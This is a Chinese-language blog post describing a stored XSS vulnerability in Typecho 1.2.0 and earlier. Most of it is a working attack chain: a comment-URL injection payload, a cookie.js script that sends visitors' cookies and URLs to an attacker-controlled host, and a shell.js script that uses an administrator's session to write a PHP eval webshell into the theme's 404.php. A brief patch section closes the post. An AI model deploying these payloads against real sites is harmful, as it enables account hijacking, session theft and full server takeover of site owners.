Typecho框架漏洞

这里说的框架漏洞只适用于1.2.0版本及以下的版本

这里说的漏洞是xss漏洞,学过渗透的应该都学过,我在这里就不过多阐述了,下面我们直接进入正题

直接在这个地方插入网址,后面再接上html代码即可,代码如下:

http://xxx.xxx.com/"\>\</a\>\<script\>alert("cookie")\</script\>\<a/href="#

然后再次访问时即可弹出一个框,这里学过xss漏洞的应该知道是什么意思了

接下来我要讲的是如何用这个xss漏洞反弹shell,这个方法我也是琢磨了很久才知道的,因为要用到js代码文件,代码文件如下:

cookie.js

javascript 复制代码
// 定义一个全局变量 website,值为一个具体的网址
var website = "http://xss.xxxx.com";
 
// 声明并立即执行一个匿名函数
(function() {
  // 创建 Image 对象,并给它的 src 属性赋值为 website 和一些参数
  (new Image()).src = website
    + "/?keepsession=1"
    + "&location=" + escape((function() {
      try {
        // 尝试获取当前文档的 URL
        return document.location.href;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&toplocation=" + escape((function() {
      try {
        // 尝试获取顶层窗口的 URL
        return top.location.href;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&cookie=" + escape((function() {
      try {
        // 获取当前文档的 cookie
        return document.cookie;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&opener=" + escape((function() {
      try {
        // 获取打开当前窗口的窗口的 URL
        return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })());
})();

shell.js

null 复制代码
function step1(){
    // 创建一个包含要注入的 iframe 的 HTML 字符串
    var data2="<iframe id=\"testxss\" src=\"/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>";
    // 保存原网页内容
    var oldata=document.body.innerHTML;
    // 将注入的 iframe 添加到文档中
    document.body.innerHTML=(oldata+data2);
}
 
// times 和 g_shell 变量用来跟踪 poc 函数执行的次数和是否已经成功注入 webshell
var times=0;
var g_shell=0;
 
function poc(){
    // 如果执行次数 >= 10,或者已经成功注入 webshell,就不再执行
    if(times<=10){
 
        // 获取要修改的 DOM 节点和触发"保存修改"操作的按钮
        var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
        var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
        
        // 保存要修改的原始数据,将要注入的 webshell 代码添加到末尾
        olddatas=htmldata.innerText;
        htmldata.innerText=('<?php @eval($_REQUEST["shell"]);?>\n')+olddatas;
 
        // 点击保存按钮,提交修改后的数据
        btn[1].click();
        
        // 增加 poc 函数的执行次数
        times+=1;
        
        // 如果已经成功注入 webshell,通过 AJAX 请求访问 webshell 接口
        if(g_shell==1){
            var xhr1=new XMLHttpRequest();
            xhr1.open('get','/usr/themes/Kratos/404.php?shell=1');
            xhr1.send();
        }
        else{
            return 0;
        }
    }
}
 
// 在页面加载完成后执行 step1 函数
step1();

然后这里就像上面反弹xss代码一样书写网址

http://xxx.xxx.com/cookie.js"\>\</script\>\<script/src=http://xxx.xxx.com/shell.js\>\<a/href="#

然后等管理员访问评论是会使得js文件也给运行起来

生成的一句话目录路径可以自己改,上面的如下

在404.php中,这样路径的问题就解决了

这样我们就可以用蚁剑或其他工具连接后台了

修复方案

将Typecho更新至1.2.3以上的版本即可,因为官方已经修复了

手动修复

python 复制代码
// var/Widget/Base/Comments.php 第 271 行代码
echo '<a href="' . $this->url . '"'
// 修改为以下代码
echo '<a href="' . Common::safeUrl($this->url) . '"'

// var/Widget/Feedback.php 第 209 行代码
$comment['url'] = $this->request->filter('trim')->url;
// 修改为以下代码
$comment['url'] = $this->request->filter('trim', 'url')->url;

// var/Widget/Feedback.php 第 308 行代码
$trackback['url'] = $this->request->filter('trim')->url;
// 修改为以下代码
$trackback['url'] = $this->request->filter('trim', 'url')->url;

// var/Widget/Options.php 第 85 行代码
* @property bool $commentsRequireURL
// 修改为以下代码
* @property bool $commentsRequireUrl

// /var/Typecho/Validate.php 第 99 行代码
return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
// 修改为以下代码
return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
相关推荐
ylscode8 小时前
OpenSSH 10.4 正式发布:后量子加密落地,多项高危漏洞得到修复
网络·安全·网络安全
DianSan_ERP9 小时前
电商架构演进:如何在高并发场景下实现多平台API的标准化履约?
运维·前端·网络·安全·架构·自动化
搭贝11 小时前
低代码平台构建EHS环境健康安全管理系统:从隐患排查到合规审计的全流程实操指南
安全·低代码
doiito14 小时前
【Web安全,微服务安全】HashiCorp Vault 项目深度分析报告
安全·微服务
一拳一个娘娘腔14 小时前
第八期:实战演练 —— 构建一个完整的攻击链(模拟)
安全
星幻元宇VR14 小时前
公共安全实训展厅设备【人防知识学习系统】
科技·学习·安全
想你依然心痛15 小时前
嵌入式Linux安全加固:SELinux、Capabilities与Seccomp——强制访问控制与沙箱
linux·运维·安全
HackTwoHub15 小时前
ARL灯塔重构版:支持APP/小程序/WEB资产同步扫描
人工智能·安全·web安全·网络安全·小程序·重构·自动化
MDM.Plus16 小时前
苹果MDM技术演进:从远程控制到设备信任体系的构建
运维·服务器·安全·ios·mdm·手机店
❀͜͡傀儡师17 小时前
2026年7月高危安全态势速览
安全